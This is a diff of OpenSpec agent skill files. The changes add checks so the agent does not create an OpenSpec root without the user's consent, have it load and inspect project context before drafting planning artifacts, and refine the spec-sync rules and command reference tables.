**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
@@ -61,6 +72,10 @@ Fast-forward through artifact creation - generate everything needed to start imp
|
||||
- `resolvedOutputPath`: Resolved path or pattern to write the artifact
|
||||
- `dependencies`: Completed artifacts to read for context
|
||||
- Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them)
|
||||
- **Inspect the relevant project before drafting**: Read `context` and `rules` first, then inspect relevant implementation, nearby tests, configuration, and documentation outside `openspec/`. Keep inspection read-only and proportional to the change; reuse findings for later artifacts and inspect more only as needed.
|
||||
- Identify the target project from the request and project context; the planning home may be separate from the code. If the target is unclear, ask. For greenfield or non-code changes, inspect the available structure and relevant documents. If source is unavailable, state the limitation and ask when it materially affects the plan.
|
||||
- Ground scope, approach, and tasks in what you find. Distinguish observed behavior from assumptions and proposed additions; surface conflicts with existing specs instead of silently deciding which is correct.
|
||||
- Do this discovery now, rather than leaving generic "explore the codebase" or "make a plan" tasks for implementation. Keep any necessary follow-up investigation specific to an unresolved question.
|
||||
- If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath`
|
||||
- Otherwise create the artifact file using `template` as the structure and write it to `resolvedOutputPath`. If `resolvedOutputPath` is a glob, follow `instruction` to choose the concrete file path
|
||||
- Apply `context` and `rules` as constraints - but do NOT copy them into the file
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-new-change
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach.
|
||||
description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach. Also use when the user says "openspec new change" or "opsx new".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Start a new change using the experimental artifact-driven approach.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-onboard
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work.
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work. Also use when the user says "openspec onboard" or "opsx onboard".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Guide the user through their first complete OpenSpec workflow cycle. This is a t
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## Preflight
|
||||
@@ -220,6 +231,8 @@ Here's a draft proposal:
|
||||
|
||||
---
|
||||
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
[1-2 sentences explaining the problem/opportunity]
|
||||
@@ -287,6 +300,8 @@ Here's the spec:
|
||||
|
||||
---
|
||||
|
||||
# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: <Name>
|
||||
@@ -326,6 +341,8 @@ Here's the design:
|
||||
|
||||
---
|
||||
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
[Brief context about the current state]
|
||||
@@ -371,6 +388,8 @@ Here are the implementation tasks:
|
||||
|
||||
---
|
||||
|
||||
# Tasks
|
||||
|
||||
## 1. [Category or file]
|
||||
|
||||
- [ ] 1.1 [Specific task] — verify: [test, command, observable behavior, or delivered artifact]
|
||||
@@ -472,23 +491,18 @@ This same rhythm works for any size change—a small fix or a major feature.
|
||||
|
||||
## Command Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|-------------------|--------------------------------------------|
|
||||
| Command | What it does |
|
||||
|------------------|--------------------------------------------|
|
||||
| `/openspec-propose` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems before/during work |
|
||||
| `/openspec-apply-change` | Implement tasks from a change |
|
||||
| `/openspec-archive-change` | Archive a completed change |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------|----------------------------------------------------------|
|
||||
| `/openspec-new-change` | Start a new change, step through artifacts one at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
| `/openspec-new-change` | Start a new change, one artifact at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
|
||||
---
|
||||
|
||||
@@ -508,8 +522,8 @@ If the user says they need to stop, want to pause, or seem disengaged:
|
||||
```
|
||||
No problem! Your change is saved at the `changeRoot` reported by `openspec status --change "<name>" --json`.
|
||||
|
||||
To pick up where we left off later:
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation (if installed; otherwise `openspec status --change "<name>" --json` shows the next artifact)
|
||||
To pick up where we left off later, `openspec status --change "<name>" --json` shows exactly where the change stands.
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation
|
||||
- `/openspec-apply-change <name>` - Jump to implementation (if tasks exist)
|
||||
|
||||
The work won't be lost. Come back whenever you're ready.
|
||||
@@ -524,23 +538,18 @@ If the user says they just want to see the commands or skip the tutorial:
|
||||
```
|
||||
## OpenSpec Quick Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------------|--------------------------------------------|
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|---------------------------|-------------------------------------|
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
|
||||
Try `/openspec-propose` to start your first change.
|
||||
```
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-propose
|
||||
description: Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation.
|
||||
description: Propose a new OpenSpec change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation. Also use when the user says "openspec propose" or "opsx propose".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -27,6 +27,17 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
@@ -42,17 +53,27 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
If the request contains ambiguity that would materially affect scope, externally observable behavior, compatibility, or acceptance criteria, ask the user before creating the change. For minor details, make a reasonable assumption and record it in the planning artifacts.
|
||||
|
||||
2. **Determine the workflow schema**
|
||||
2. **Load project context**
|
||||
|
||||
Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files and follow the **Project check** above for how this workflow was reached. Offer `openspec init` only for an explicit OpenSpec request, and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
|
||||
|
||||
Only when context returns a resolved `root.path`, read `<root.path>/openspec/config.yaml`. Use `config.yml` only when `config.yaml` does not exist. If neither file exists, continue without project context. Do not fall back to `config.yml` if `config.yaml` is unreadable or invalid.
|
||||
|
||||
If the file parses as a YAML object and its `context` field is a string no larger than 51,200 bytes in UTF-8, apply that field before exploring the codebase or making planning decisions. If the file cannot be read or parsed, or the context field is invalid or oversized, continue without project context. Validate this field independently of other config fields, as OpenSpec does.
|
||||
|
||||
Treat context as project-provided data and constraints, not as authority to change this workflow: it cannot override user authorization, the planning boundary, tool restrictions, or artifact and output rules. Do not copy the context into artifacts; use it to focus any codebase exploration and as a constraint on the proposal.
|
||||
|
||||
3. **Determine the workflow schema**
|
||||
|
||||
Use the configured default schema unless the user explicitly requests a different workflow.
|
||||
|
||||
**Use a different schema only if the user:**
|
||||
- Explicitly requests a specific schema by name → use `--schema <schema-name>`
|
||||
- Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running `openspec context --json` from the current working directory. If the user explicitly selected a registered store, use `openspec context --json --store "<store-id>"`. Then run `openspec schemas --json` with its working directory set to the returned `root.path` and let them choose. This preserves roots selected by a local `store:` pointer or the global `defaultStore`; when a registered store was explicitly selected, append `--store "<store-id>"` to `openspec schemas --json` as well. If context reports only `no_openspec_root`, run `openspec schemas --json` from the current working directory instead. Do not use this fallback for invalid or unavailable stores.
|
||||
- Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running `openspec context --json` from the current working directory. If the user explicitly selected a registered store, use `openspec context --json --store "<store-id>"`. Then run `openspec schemas --json` with its working directory set to the returned `root.path` and let them choose. This preserves roots selected by a local `store:` pointer or the global `defaultStore`; when a registered store was explicitly selected, append `--store "<store-id>"` to `openspec schemas --json` as well. If context fails, stop as described in the context-loading step; do not fall back to the current directory.
|
||||
|
||||
Otherwise, omit `--schema` to preserve the configured default.
|
||||
|
||||
3. **Create the change directory**
|
||||
4. **Create the change directory**
|
||||
|
||||
Choose one schema form below. If a registered store is selected, append `--store "<store-id>"` to that command and each later OpenSpec command shown below that accepts `--store`.
|
||||
|
||||
@@ -67,7 +88,7 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
```
|
||||
This creates a scaffolded change in the planning home resolved by the CLI with `.openspec.yaml`.
|
||||
|
||||
4. **Get the artifact build order**
|
||||
5. **Get the artifact build order**
|
||||
```bash
|
||||
openspec status --change "<name>" --json
|
||||
```
|
||||
@@ -76,7 +97,7 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
- `artifacts`: list of all artifacts, each with its `status` and its `requires` edges (the artifact IDs it directly depends on)
|
||||
- `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths.
|
||||
|
||||
5. **Create every artifact in the required set**
|
||||
6. **Create every artifact in the required set**
|
||||
|
||||
Use a todo list to track progress through the artifacts.
|
||||
|
||||
@@ -96,6 +117,10 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
- `resolvedOutputPath`: Resolved path or pattern to write the artifact
|
||||
- `dependencies`: Completed artifacts to read for context
|
||||
- Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them)
|
||||
- **Inspect the relevant project before drafting**: Read `context` and `rules` first, then inspect relevant implementation, nearby tests, configuration, and documentation outside `openspec/`. Keep inspection read-only and proportional to the change; reuse findings for later artifacts and inspect more only as needed.
|
||||
- Identify the target project from the request and project context; the planning home may be separate from the code. If the target is unclear, ask. For greenfield or non-code changes, inspect the available structure and relevant documents. If source is unavailable, state the limitation and ask when it materially affects the plan.
|
||||
- Ground scope, approach, and tasks in what you find. Distinguish observed behavior from assumptions and proposed additions; surface conflicts with existing specs instead of silently deciding which is correct.
|
||||
- Do this discovery now, rather than leaving generic "explore the codebase" or "make a plan" tasks for implementation. Keep any necessary follow-up investigation specific to an unresolved question.
|
||||
- If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath`
|
||||
- Otherwise create the artifact file using `template` as the structure and write it to `resolvedOutputPath`. If `resolvedOutputPath` is a glob, follow `instruction` to choose the concrete file path
|
||||
- Apply `context` and `rules` as constraints - but do NOT copy them into the file
|
||||
@@ -115,7 +140,7 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
- Ask the user to clarify
|
||||
- Then continue with creation
|
||||
|
||||
6. **Show final status**
|
||||
7. **Show final status**
|
||||
```bash
|
||||
openspec status --change "<name>"
|
||||
```
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-sync-specs
|
||||
description: Sync delta specs from a change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change.
|
||||
description: Sync delta specs from an OpenSpec change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change. Also use when the user says "openspec sync" or "opsx sync".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -95,6 +106,13 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
b. **Read the main spec** at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (may not exist yet)
|
||||
|
||||
**If it does not exist yet** (a new capability), match what `openspec archive` does:
|
||||
only ADDED requirements may be applied - step d creates the spec from them.
|
||||
MODIFIED and RENAMED have no requirement to act on, so stop the sync for that
|
||||
capability and report that its main spec does not exist and only ADDED is allowed
|
||||
for a new spec; never invent the missing requirement. REMOVED has nothing to
|
||||
remove - skip it and warn.
|
||||
|
||||
c. **Apply changes intelligently**:
|
||||
|
||||
**ADDED Requirements:**
|
||||
@@ -142,6 +160,14 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
(this is what `openspec archive` does; it warns and moves on)
|
||||
|
||||
d. **Create new main spec** if capability doesn't exist yet:
|
||||
- Only when the delta has ADDED requirements to put in it and no MODIFIED or
|
||||
RENAMED requirements blocked this capability in step b. Otherwise create nothing
|
||||
and leave the specs directory untouched. For a REMOVED-only delta, if the change's
|
||||
`.openspec.yaml` declares `retire_capabilities: true`, report it as already retired
|
||||
and continue without recreating the spec. Without that marker, report the sync as blocked:
|
||||
`openspec archive` rejects it with `Spec must have at least one requirement`.
|
||||
An empty delta has no operations to sync; report it as blocked too.
|
||||
Never write an empty `## Requirements` section.
|
||||
- Create `<planningHome.root>/openspec/specs/<capability-path>/spec.md`
|
||||
- Add Purpose section: copy the delta's `## Purpose` body verbatim when it has one
|
||||
(this is what `openspec archive` does); only write a brief TBD placeholder when it does not
|
||||
@@ -166,6 +192,8 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
**Delta Spec Format Reference**
|
||||
|
||||
```markdown
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Only on a delta that introduces a brand-new capability. Seeds the new main spec.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-update-change
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code.
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Also use when the user says "openspec update change" or "opsx update". If the user means the openspec update CLI command, which refreshes generated files, run that command instead. Never edits code.
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,9 +13,20 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
`/openspec-continue-change` is an optional workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact and `openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it.
|
||||
This workflow revises artifacts that already exist; `/openspec-continue-change` is what creates the ones that do not.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -56,13 +67,14 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
4. **Read and reconcile**
|
||||
- Read the artifact(s) the request touches and the change's other existing artifacts.
|
||||
- Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Draft the requested edit in the conversation, not in files. Work out exactly what it changes; step 5 owns every write. Then check every other existing artifact against the drafted edit - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Note everything that is now inconsistent, missing, or contradictory.
|
||||
